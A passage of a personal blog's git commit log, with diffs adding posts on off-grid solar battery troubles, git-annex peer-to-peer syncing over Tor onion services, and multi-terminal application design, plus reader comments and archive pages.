+Some big sites closed their services to TOR-users unfortunately, probably because of DDoS-attacks, some even don't accept connections from filtering proxies anymore.
+I2P is still in beta-status AFAIK, but probably one day it is going to be fit for real productive use and match up TOR.
+I2P is a different category, in so far as even the devolpers are anonymous and known by their pseudonyms only.
+
+"""]]

Added a comment: climate change
diff --git a/blog/entry/drought/comment_1_3a8bebf382c4e51c2a322152bc3c787f._comment b/blog/entry/drought/comment_1_3a8bebf382c4e51c2a322152bc3c787f._comment
new file mode 100644
index 0000000..68d9475
--- /dev/null
+++ b/blog/entry/drought/comment_1_3a8bebf382c4e51c2a322152bc3c787f._comment
@@ -0,0 +1,11 @@
+[[!comment format=mdwn
+ username="andreas.glaeser@cfd70e43e8acd338681cd069504740fdd4e85b0b"
+ nickname="andreas.glaeser"
+ avatar="http://cdn.libravatar.org/avatar/01527e4b0848adff0e9c052635eaa09b"
+ subject="climate change "
+ date="2017-01-08T13:38:11Z"
+ content="""
+2016 was a record-year globally, as far as I know, even warmer in average than 2015.
+Now, upon break of the new year, there is even snow and ice again in Berlin, and it is supposed to stay this way for three more days at least with temperatures below zero. This is not bad weather in my opinion, but more lovable weather indeed, because far less people are out there to get in your way.
+Sometimes bad weather is good weather in this sense, sometimes cool weather is good weather.
+"""]]

typo
diff --git a/blog/entry/the_cliff.mdwn b/blog/entry/the_cliff.mdwn
index 2a33e75..3bd426b 100644
--- a/blog/entry/the_cliff.mdwn
+++ b/blog/entry/the_cliff.mdwn
@@ -35,4 +35,4 @@ the batteries a perfect chance to recover.
 
 Previously: [[battery_bank_refresh]] [[late_summer]]
 
-[!tag solar]]
+[[!tag solar]]

blog update
diff --git a/blog/entry/the_cliff.mdwn b/blog/entry/the_cliff.mdwn
new file mode 100644
index 0000000..2a33e75
--- /dev/null
+++ b/blog/entry/the_cliff.mdwn
@@ -0,0 +1,38 @@
+Falling off the cliff is always a surprise. I know it's there; I've been
+living next to it for months. I chart its outline daily. Avoiding it has
+become routine, and so comfortable, and so failing to avoid it surprises.
+
+Monday evening around 10 pm, the laptop starts draining down from 100%.
+House battery, which has been steady around 11.5-10.8 volts since well
+before Winter solstice, and was in the low 10's, has plummeted to 8.5 volts.
+
+With the old batteries, the cliff used to be at 7 volts, but now, with
+new batteries but fewer, it's in a surprising place, something like 
+10 volts, and I fell off it.
+
+Weather forecast for the week ahead is much like the previous week: 
+Maybe a couple sunny afternoons, but mostly no sun at all.
+
+Falling off the cliff is not all bad. It shakes things up. It's a good
+opportunity to disconnect, to read paper books, and think long 
+winter thoughts. It forces some flexability.
+
+I have an auxillary battery for these situations. With its own little
+portable solar panel, it can charge the laptop and run it for around 6
+hours. But it takes it several days of winter sun to charge back up.
+
+That's enough to get me through the night. Then I take a short trip, and
+glory in one sunny afternoon. But I know that won't get me out of the hole,
+the batteries need a sunny week to recover. This evening, I expect to lose
+power again, and probably tomorrow evening too.
+
+Luckily, my goal for the week was to write slides for two talks, and I've
+been able to do that despite being mostly offline, and sometimes
+decomputered.
+
+And, in a few days I will be jetting off to Australia! That should give
+the batteries a perfect chance to recover.
+
+Previously: [[battery_bank_refresh]] [[late_summer]]
+
+[!tag solar]]

better link
diff --git a/blog/entry/p2p_dreams.mdwn b/blog/entry/p2p_dreams.mdwn
index 0fd87cf..4d0d83c 100644
--- a/blog/entry/p2p_dreams.mdwn
+++ b/blog/entry/p2p_dreams.mdwn
@@ -106,7 +106,7 @@ for details. Also, the git-annex webapp allows
 [setting the same thing up point-and-click style](http://git-annex.branchable.com/assistant/share_with_a_friend_walkthrough/).
 
 The Tor project blog has throughout December been [featuring all kinds of
-projects that are using Tor](https://blog.torproject.org/blog). 
+projects that are using Tor](https://blog.torproject.org/category/tags/heart-internet-freedom). 
 Consider this a late bonus addition to that. ;) 
 
 I hope that Tor onion services will continue to develop to make them easier
diff --git a/code/keysafe/screenshots/0.png b/code/keysafe/screenshots/0.png
new file mode 100644
index 0000000..7cfe206
Binary files /dev/null and b/code/keysafe/screenshots/0.png differ

Fix word duplicated by mistake.
diff --git a/blog/entry/p2p_dreams.mdwn b/blog/entry/p2p_dreams.mdwn
index 23e8ae1..0fd87cf 100644
--- a/blog/entry/p2p_dreams.mdwn
+++ b/blog/entry/p2p_dreams.mdwn
@@ -77,7 +77,7 @@ Local actions whatsoever. Other interpreters for the Net monad could be
 used to support other network transports than Tor.
 """]]
 
-When when two peers are connected over Tor, one knows it's talking to the
+When two peers are connected over Tor, one knows it's talking to the
 owner of a particular onion address, but the other peer knows nothing about
 who's talking to it, by design. This makes authentication harder than it
 would be in a P2P system with a design like Telehash. 

add
diff --git a/code/keysafe/screenshots/restore/1.png b/code/keysafe/screenshots/restore/1.png
new file mode 100644
index 0000000..8fd1f43
Binary files /dev/null and b/code/keysafe/screenshots/restore/1.png differ
diff --git a/code/keysafe/screenshots/restore/2.png b/code/keysafe/screenshots/restore/2.png
new file mode 100644
index 0000000..e682486
Binary files /dev/null and b/code/keysafe/screenshots/restore/2.png differ
diff --git a/code/keysafe/screenshots/restore/3.png b/code/keysafe/screenshots/restore/3.png
new file mode 100644
index 0000000..7c7e5dc
Binary files /dev/null and b/code/keysafe/screenshots/restore/3.png differ
diff --git a/code/keysafe/screenshots/restore/4.png b/code/keysafe/screenshots/restore/4.png
new file mode 100644
index 0000000..4d07070
Binary files /dev/null and b/code/keysafe/screenshots/restore/4.png differ

calendar update
diff --git a/blog/archives/2017.mdwn b/blog/archives/2017.mdwn
new file mode 100644
index 0000000..bb67a44
--- /dev/null
+++ b/blog/archives/2017.mdwn
@@ -0,0 +1 @@
+[[!calendar type=year year=2017 pages="blog/entry/* and !*/Discussion"]]
diff --git a/blog/archives/2017/01.mdwn b/blog/archives/2017/01.mdwn
new file mode 100644
index 0000000..0899d5b
--- /dev/null
+++ b/blog/archives/2017/01.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=01 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(01) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/02.mdwn b/blog/archives/2017/02.mdwn
new file mode 100644
index 0000000..5e6001a
--- /dev/null
+++ b/blog/archives/2017/02.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=02 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(02) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/03.mdwn b/blog/archives/2017/03.mdwn
new file mode 100644
index 0000000..6d0673a
--- /dev/null
+++ b/blog/archives/2017/03.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=03 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(03) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/04.mdwn b/blog/archives/2017/04.mdwn
new file mode 100644
index 0000000..b08d72d
--- /dev/null
+++ b/blog/archives/2017/04.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=04 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(04) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/05.mdwn b/blog/archives/2017/05.mdwn
new file mode 100644
index 0000000..de9045c
--- /dev/null
+++ b/blog/archives/2017/05.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=05 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(05) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/06.mdwn b/blog/archives/2017/06.mdwn
new file mode 100644
index 0000000..4f5be8d
--- /dev/null
+++ b/blog/archives/2017/06.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=06 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(06) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/07.mdwn b/blog/archives/2017/07.mdwn
new file mode 100644
index 0000000..6c60a4a
--- /dev/null
+++ b/blog/archives/2017/07.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=07 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(07) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/08.mdwn b/blog/archives/2017/08.mdwn
new file mode 100644
index 0000000..bab88d0
--- /dev/null
+++ b/blog/archives/2017/08.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=08 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(08) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/09.mdwn b/blog/archives/2017/09.mdwn
new file mode 100644
index 0000000..77d79eb
--- /dev/null
+++ b/blog/archives/2017/09.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=09 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(09) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/10.mdwn b/blog/archives/2017/10.mdwn
new file mode 100644
index 0000000..e5b1422
--- /dev/null
+++ b/blog/archives/2017/10.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=10 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(10) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/11.mdwn b/blog/archives/2017/11.mdwn
new file mode 100644
index 0000000..45cadab
--- /dev/null
+++ b/blog/archives/2017/11.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=11 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(11) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/12.mdwn b/blog/archives/2017/12.mdwn
new file mode 100644
index 0000000..a5a1377
--- /dev/null
+++ b/blog/archives/2017/12.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=12 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(12) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]

blog update
diff --git a/blog/entry/p2p_dreams.mdwn b/blog/entry/p2p_dreams.mdwn
new file mode 100644
index 0000000..23e8ae1
--- /dev/null
+++ b/blog/entry/p2p_dreams.mdwn
@@ -0,0 +1,118 @@
+In one of the good parts of the very mixed bag that is "[Lo and Behold:
+Reveries of the Connected World](http://www.loandbehold-film.com/)", 
+Werner Herzog asks his interviewees what the Internet might dream of, if it
+could dream.
+
+The best answer he gets is along the lines of: The Internet of before
+dreamed a dream of the World Wide Web. It dreamed some nodes were
+servers, and some were clients. And that dream became current reality,
+because that's the essence of the Internet.
+
+Three years ago, it seemed like perhaps another dream was developing
+post-Snowden, of dissolving the distinction between clients and servers,
+connecting peer-to-peer using addresses that are also cryptographic public
+keys, so authentication and encryption and authorization are built in.
+
+Telehash is one hopeful attempt at this, others include snow, cjdns, i2p,
+etc. So far, none of them seem to have developed into a widely
+used network, although any of them still might get there. There are a lot
+of technical challenges due to the current Internet dream/nightmare, where
+the peers on the edges have multiple barriers to connecting to other
+peers.
+
+But, one project has developed something similar to the new dream,
+almost as a side effect of its main goals:
+[Tor](https://torproject.org/)'s onion services.
+
+I'd wanted to use such a thing in [git-annex](https://git-annex.branchable.com/),
+for peer-to-peer sharing and syncing of git-annex repositories. On November
+13th, I started building it, using Tor, and I'm releasing it concurrently with
+this blog post.
+
+[[!template id=note text="""
+git-annex's Tor support replaces its old hack of tunneling git
+protocol over XMPP. That hack was unreliable (it needed a TCP on top of XMPP
+layer) but worse, the XMPP server could see all the data being transferred.
+And, there are fewer large XMPP servers these days, so fewer users could
+use it at all. If you were using XMPP with git-annex, you'll need to switch
+to either Tor or a server accessed via ssh.
+"""]]
+
+Now git-annex can serve a repository as a Tor onion service, and that can
+then be accessed as a git remote, using an url like
+`tor-annex::tungqmfb62z3qirc.onion:42913`. All the regular git, and
+git-annex commands, can be used with such a remote.
+
+Tor has a lot of goals for protecting anonymity and privacy. But the
+important things for this project are just that it has end-to-end
+encryption, with addresses that are public keys, and allows P2P
+connections. Building an anonymous file exchange on top of Tor is not my
+goal -- if you want that, you probably don't want to be exchanging git
+histories that record every edit to the file and expose your real name by
+default.
+
+Building this was not without its difficulties.
+Tor onion services were originally intended to run hidden websites,
+not to connect peers to peers, and this kind of shows..
+
+Tor does not cater to end users setting up lots of Onion services.
+Either root has to edit the `torrc` file, or the Tor control port can be
+used to ask it to set one up. But, the control port is not enabled by
+default, so you still need to su to root to enable it. Also, it's difficult
+to find a place to put the hidden service's unix socket file that's
+writable by a non-root user. So I had to code around this, with a `git
+annex enable-tor` that su's to root and sets it all up for you.
+
+[[!template id=note text="""
+One interesting detail about the implementation of the P2P protocol in
+git-annex is that it uses two Free monads to build up actions. There's a Net
+monad which can be used to send and receive protocol messages, and a Local
+monad which allows only the necessary modifications to files on disk.
+Interpreters for Free monad actions can chose exactly which actions to
+allow for security reasons. 
+
+For example, before a peer has authenticated,
+the P2P protocol is being run by an interpreter that refuses to run any
+Local actions whatsoever. Other interpreters for the Net monad could be
+used to support other network transports than Tor.
+"""]]
+
+When when two peers are connected over Tor, one knows it's talking to the
+owner of a particular onion address, but the other peer knows nothing about
+who's talking to it, by design. This makes authentication harder than it
+would be in a P2P system with a design like Telehash. 
+So git-annex does its own authentication on top of Tor.
+
+With authentication, users would need to exchange absurdly long
+addresses (over 150 characters) to connect their repositories. One very
+convenient thing about using XMPP was that a user would have connections to
+their friend's accounts, so it was easy to share with them. Exchanging long
+addresses is too hard.
+
+This is where [Magic Wormhole](https://github.com/warner/magic-wormhole)
+saved the day. It's a very elegant way to get any two peers in touch
+with each other, and the users only have to exchange a short code
+phrase, like "2-mango-delight", which can only be used once. Magic Wormhole
+makes some security tradeoffs for this simplicity. It's got vulnerabilities
+to DOS attacks, and its MITM resistance could be improved. But I'm lucky
+it came along just in time.
+
+So, it takes only installing Tor and Magic Wormhole, 
+running two git-annex commands, and exchanging short code phrases with
+a friend, perhaps over the phone or in an encrypted email, to get
+your git-annex repositories connected and syncing over Tor. 
+[See the documentation](http://git-annex.branchable.com/tips/peer_to_peer_network_with_tor/)
+for details. Also, the git-annex webapp allows
+[setting the same thing up point-and-click style](http://git-annex.branchable.com/assistant/share_with_a_friend_walkthrough/).
+
+The Tor project blog has throughout December been [featuring all kinds of
+projects that are using Tor](https://blog.torproject.org/blog). 
+Consider this a late bonus addition to that. ;) 
+
+I hope that Tor onion services will continue to develop to make them easier
+to use for peer-to-peer systems. We can still dream a better Internet.
+
+----
+
+This work was made possible by all my supporters on
+[Patreon](https://patreon.com/joeyh/).

from email
diff --git a/blog/entry/multi-terminal_applications/comment_7_30aba9e905e58f33db64e52af14c7647._comment b/blog/entry/multi-terminal_applications/comment_7_30aba9e905e58f33db64e52af14c7647._comment
new file mode 100644
index 0000000..531e078
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_7_30aba9e905e58f33db64e52af14c7647._comment
@@ -0,0 +1,21 @@
+[[!comment format=mdwn
+ username="anarcat"
+ nickname="anarcat"
+ subject="comment 7"
+ date="2016-12-27T18:02:47Z"
+ content="""
+i have a similar concern in a project i'm working on now, which is to
+run a bunch of tests in one window and showing system logs in another
+window for convenience. i thought i would use tmux for this because the
+commandline interface is simple enough to be used like an API. my
+previous approach to this was to use a multi-interface design with
+simple functions like "alert", "prompt" or "log" that would send stuff
+to different places (terminal or gtk windows) depending on the
+environment, a bit like what debconf is doing, with all the crap that
+implies (generally: a suboptimal interface everywhere).
+
+as for an irc client, you may be curious to try out `ii`: it's a simple
+FIFO and filesystem-based irc client that implements basically *no* user
+interface... a little nuts, but sounds like it would be the backend to
+the UI you are describing.
+"""]]

no more telnet for scroll
diff --git a/code/scroll.mdwn b/code/scroll.mdwn
index fa21794..49cdcab 100644
--- a/code/scroll.mdwn
+++ b/code/scroll.mdwn
@@ -14,11 +14,8 @@ BTW, `scroll` is also a functional unix file pager, like `less` or `more`.
 
 For a quick play on the web, there are two demo servers up!
 
-* EU <http://eu.scroll.joeyh.name:4242/>  -or-  `telnet eu.scroll.joeyh.name`
-* US <http://us.scroll.joeyh.name:4242/>  -or-  `telnet us.scroll.joeyh.name`
-
-For deeper exploration, I recommend using telnet instead. Login and
-password for telnet are both "scroll".
+* EU <http://eu.scroll.joeyh.name:4242/>
+* US <http://us.scroll.joeyh.name:4242/>
 
 ## install `scroll`
 

Added a comment: Multi Pty programs
diff --git a/blog/entry/multi-terminal_applications/comment_6_30aba9e905e58f33db64e52af14c7647._comment b/blog/entry/multi-terminal_applications/comment_6_30aba9e905e58f33db64e52af14c7647._comment
new file mode 100644
index 0000000..2e98e3a
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_6_30aba9e905e58f33db64e52af14c7647._comment
@@ -0,0 +1,9 @@
+[[!comment format=mdwn
+ username="bburky@f27cd1468e00e320089df57e65bcda8c8afd6d3e"
+ nickname="bburky"
+ avatar="http://cdn.libravatar.org/avatar/e998a8229b9bfe9856d33af99c2f492c"
+ subject="Multi Pty programs"
+ date="2016-12-28T20:48:14Z"
+ content="""
+[Voltron](https://github.com/snare/voltron) is a good example of this kind of program I think. I haven't actually used it, but it's a debugger interface that lets you spwawn new windows by using multiple ptys.
+"""]]

update
diff --git a/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
index 337d83a..aa340bd 100644
--- a/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
+++ b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
@@ -27,7 +27,8 @@ xterm with that size, or tile a buffer at that size).
 
 It would probably be a good idea to add a parameter to both API calls for
 additional hints. For example, a pty manager might be able to lay out one
-buffer to the left of an other one, if provided a hint to do so. This
-needs to be something that's extensible. Could be as simple as 
-`char *const managehints[]`
+buffer to the left of an other one, if provided a hint to do so. Or a pty
+might be non-interactive, and so a pty manager should not let the focus
+move to it. This needs to be something that's extensible. Could be as
+simple as  `char *const managehints[]`
 """]]

update
diff --git a/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
index a4596a7..337d83a 100644
--- a/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
+++ b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
@@ -11,6 +11,7 @@ The C API could look like this:
 		const struct winsize *winp);
 
 	pid_t execvpepty_managed(const char *addr,
+		const struct winsize *winp,
 		const char *file, char *const argv[], char *const envp[]);
 
 Compare with openpty(3) and forkpty(3).
@@ -20,4 +21,13 @@ and any parent address is automatically prefixed to it.
 
 The implementation of these would use the socket environment variable to
 send requests to the pty manager. Mm, fd passing..
+
+The winsize parameter lets a preferred window size be selected (to open an
+xterm with that size, or tile a buffer at that size).
+
+It would probably be a good idea to add a parameter to both API calls for
+additional hints. For example, a pty manager might be able to lay out one
+buffer to the left of an other one, if provided a hint to do so. This
+needs to be something that's extensible. Could be as simple as 
+`char *const managehints[]`
 """]]

comment
diff --git a/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
new file mode 100644
index 0000000..a4596a7
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
@@ -0,0 +1,23 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 5"""
+ date="2016-12-28T00:17:47Z"
+ content="""
+The C API could look like this:
+
+	int openpty_managed(const char *addr,
+		int *amaster, int *aslave, char *name,
+		const struct termios *termp,
+		const struct winsize *winp);
+
+	pid_t execvpepty_managed(const char *addr,
+		const char *file, char *const argv[], char *const envp[]);
+
+Compare with openpty(3) and forkpty(3).
+
+Here `addr` is the address of the pty, eg "irc-client.channel.#haskell",
+and any parent address is automatically prefixed to it.
+
+The implementation of these would use the socket environment variable to
+send requests to the pty manager. Mm, fd passing..
+"""]]

comment
diff --git a/blog/entry/multi-terminal_applications/comment_3_f9553873da665f964496b7fe9fd5f889._comment b/blog/entry/multi-terminal_applications/comment_3_f9553873da665f964496b7fe9fd5f889._comment
new file mode 100644
index 0000000..98490c0
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_3_f9553873da665f964496b7fe9fd5f889._comment
@@ -0,0 +1,10 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 3"""
+ date="2016-12-27T23:23:10Z"
+ content="""
+Trying `st` with my ad-hoc benchmark, it managed to scroll around 4
+thousand lines without noticable flicker. But I don't think `st` has a
+scroll buffer. Running `screen` in it to buffer the scrollback slowed
+it down to around 1-2 thousand lines, so comprable to vte.
+"""]]
diff --git a/blog/entry/multi-terminal_applications/comment_4_ff1585b0d30d05f0f8936bc8fa50a13f._comment b/blog/entry/multi-terminal_applications/comment_4_ff1585b0d30d05f0f8936bc8fa50a13f._comment
new file mode 100644
index 0000000..2c9c5dc
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_4_ff1585b0d30d05f0f8936bc8fa50a13f._comment
@@ -0,0 +1,53 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 4"""
+ date="2016-12-27T23:24:57Z"
+ content="""
+@josh interesting thoughts..
+
+A pty-management library does seem like a good idea. There could be
+different pty-manager commands that open xterms, open screen
+buffers, etc. So the user runs something like:
+
+	in-xterms irc-client
+
+	in-screen irc-client
+
+And irc-client could also be run in any shell that was started inside a
+pty-manager, talking to the outer pty-manager.
+
+When the irc-client opens a pty, in-xterms would need to use something 
+like `xterm -e connect-pty` to open a new xterm connected back to that pty.
+But when the irc-client runs the mail-client, in-xterms can just run 
+`xterm -e mail-client` and doesn't need to relay. 
+
+(Leaving aside for the momemnt the problem that xterm -e does not propigate
+the exit status of the program it runs to its caller..)
+
+While connect-pty would have some copying and syscall overhead
+(probably similar to `screen`), if a program found that excessive, it could
+run a child process, which would be connected up directly to the terminal
+(in the in-xterms case). That also provides a workaround for the singleton
+termnal in curses libraries.
+
+As well as an environment variable containing the socket of the
+pty-manager, there could be one containing the address of the pty. If an
+irc-client opens a new pty to run a mail client, the mail client would see
+an address of eg "irc-client.mail-client", and it can use that address when
+it opens a new pty for an editor, so the editor gets an address of eg
+"irc-client.mail-client.editor". The pty manager can see a whole tree:
+
+	irc-client.channellist
+	irc-client.#haskell
+	irc-client.#haskell.userlist
+	irc-client.mail-client
+	irc-client.mail-client.message.happy new year
+	irc-client.mail-client.editor.file.tmpmsg
+	irc-client.mail-client.editor.help-window
+	irc-client.mail-client.editor.shell
+
+Such human-friendly names in a tree would be useful for
+interactively managing ptys and could also inform tiling layouts.
+It also lets the pty manager set the default window title/screen
+buffer name to something reasonable.
+"""]]

Added a comment
diff --git a/blog/entry/multi-terminal_applications/comment_2_053b5c92c394c8689fbc65e38227fd4b._comment b/blog/entry/multi-terminal_applications/comment_2_053b5c92c394c8689fbc65e38227fd4b._comment
new file mode 100644
index 0000000..3065787
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_2_053b5c92c394c8689fbc65e38227fd4b._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="josh@ccccabe84317e1b7429fd465de0b38fd54925dea"
+ nickname="josh"
+ avatar="http://cdn.libravatar.org/avatar/1bd07f791d8ed5989a92790b0a1f9ea4"
+ subject="comment 2"
+ date="2016-12-27T21:34:50Z"
+ content="""
+I like the idea of unifying terminals, editors, IRC clients, mail clients, and other things that need multiple windows (whether tiled, tabbed, or just switched between).  I don't know that I'd want to use terminal scrollback for that (I prefer editor-style or screen-style buffers with scroll positions), but many aspects of all those programs overlap.  I can see why people use Emacs for everything, and I hope to see vim/neovim go in the same direction now that both have introduced coprocess support.
+
+Editor buffers work nicely as a generalization, but they don't fit perfectly.  For instance, embedding a shell in an editor needs to disable some of the editing functions for part but not all of the buffer.  You want to use the editor to edit the next command line, but treat the prompt before it as read-only.  (But you can use editor functions to search and copy text.)
+
+I'd love to have a \"libtmux\" or \"libscreen\" that applications can embed.  But I'd also like those applications to cooperate within a single thing that behaves like screen/tmux/vim, not to each have their own.  What would such an abstraction look like?
+
+What about a multi-pty-management library that can delegate to an outer multi-pty-management application.  Imagine a library that lets you manage a pile of independent terminal-like buffers, and manage them like screen/tmux within a normal containing terminal.  However, that library can also recognize when run inside an application that can handle such buffers itself (such as via an environment variable providing a communication socket).  In that case, it'll contact that application, and delegate pty management to that application.  The application can then logically group the buffers from each application together, and provide various functions for navigation, tiling, tabbing, switching, scrolling, searching, etc.
+"""]]

Added a comment: Cool, yes, technical limitations
diff --git a/blog/entry/multi-terminal_applications/comment_1_cb80cbb6515065e1d5d10e0af1fb4dc7._comment b/blog/entry/multi-terminal_applications/comment_1_cb80cbb6515065e1d5d10e0af1fb4dc7._comment
new file mode 100644
index 0000000..f09a6cf
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_1_cb80cbb6515065e1d5d10e0af1fb4dc7._comment
@@ -0,0 +1,12 @@
+[[!comment format=mdwn
+ username="JasonWoof"
+ avatar="http://cdn.libravatar.org/avatar/26d091a5db7b2fbea266e0a5d853affd"
+ subject="Cool, yes, technical limitations"
+ date="2016-12-27T20:00:40Z"
+ content="""
+Firstly: yes, please :-) I've been using nmh for email lately and I love that I can open up a terminal and find something in my email archive for example, without disturbing the email I'm composing, or my inbox emptying process. Being able to connect multiple terminals is somewhat analogous to opening multiple tabs in the browser to the same webapp.
+
+Second, odd that so many terminal emulaters are so slow. I run st (suckless terminal) and it seems to be able to handle about 100,000 lines of output per second (my notes file a few times over, no escape codes but some unicode) on my 6 year old desktop.
+
+Third, most tiling window managers wreak havoc on existing output in terminals, even if they only resize it vertical dimension of the terminals. Tabbed should work fine though.
+"""]]

blog update
diff --git a/blog/entry/multi-terminal_applications.mdwn b/blog/entry/multi-terminal_applications.mdwn
new file mode 100644
index 0000000..116fd8c
--- /dev/null
+++ b/blog/entry/multi-terminal_applications.mdwn
@@ -0,0 +1,103 @@
+While learning about and configuring weechat this evening, I noticed a lot
+of complexity and unsatisfying tradeoffs related to its UI, its mouse
+support, and its built-in window system. Got to wondering what I'd do
+differently, if I wrote my own IRC client, to avoid those problems.
+
+The first thing I realized is, **it is not a good idea to think about
+writing your own IRC client**. Danger will robinson..
+
+So, let's generalize. This blog post is not about designing an IRC client,
+but about exploring simpler ways that something like an IRC client
+might handle its UI, and perhaps designing something general-purpose that
+could be used by someone else to build an IRC client, or be mashed up with
+an existing IRC client.
+
+What any modern IRC client needs to do is display various channels to the
+user. Maybe more than one channel should be visible at a time in some kind
+of window, but often the user will have lots of available channel and only
+want to see a few of them at a time. So there needs to be an interface for
+picking which channel(s) to display, and if multiple windows are shown, for
+arranging the windows. Often that interface also indicates when there is
+activity on a channel. The most recent messages from the channel are
+displayed. There should be a way to scroll back to see messages that have
+already scrolled by. There needs to be an interface for sending a message
+to a channel. Finally, a list of users in the channel is often desired.
+
+Modern IRC clients implement their own UI for channel display, windowing,
+channel selection, activity notification, scrollback, message entry, and
+user list. Even the IRC clients that run in a terminal include all of that.
+But how much of that do they need to implement, really?
+
+Suppose the user has a tabbed window manager, that can display virtual
+terminals. The terminals can set their title, and can indicate when there
+is activity in the terminal. Then an IRC client could just open a bunch of
+terminals, one per channel. Let the window manager handle channel
+selection, windowing (naturally), and activity notification. 
+
+For scrollback, the IRC client can use the terminal's own scrollback
+buffer, so the terminal's regular scrollback interface can be used. This is
+slightly tricky; can't use the terminal's alternate display, and have to
+handle the UI for the message entry line at the bottom.
+
+That's all the UI an IRC client needs (except for the user list), and most
+of that is already implemented in the window manager and virtual terminal.
+So that's an elegant way to make an IRC client without building much new UI
+at all.
+
+But, unfortunately, most of us don't use tabbed window managers (or tabbed
+terminals). Such an IRC client, in a non-tabbed window manager, would be a
+many-windowed mess. Even in a tabbed window manager, it might be annoying
+to have so many windows for one program.
+
+So we need fewer windows. Let's have one channel list window, and one
+channel display window. There could also be a user list window. And there
+could be a way to open additional, dedicated display windows for channels,
+but that's optional. All of these windows can be seperate virtual
+terminals.
+
+A potential problem: When changing the displayed channel, it needs
+to output a significant number of messages for that channel,
+so that the scrollback buffer gets populated. With a large number of lines,
+that can be too slow to feel snappy. In some tests, scrolling 
+10 thousand lines was noticiably slow, but scrolling 1 thousand lines
+happens fast enough not to be noticiable.
+
+(Terminals should really be faster at scrolling than this, but they're still 
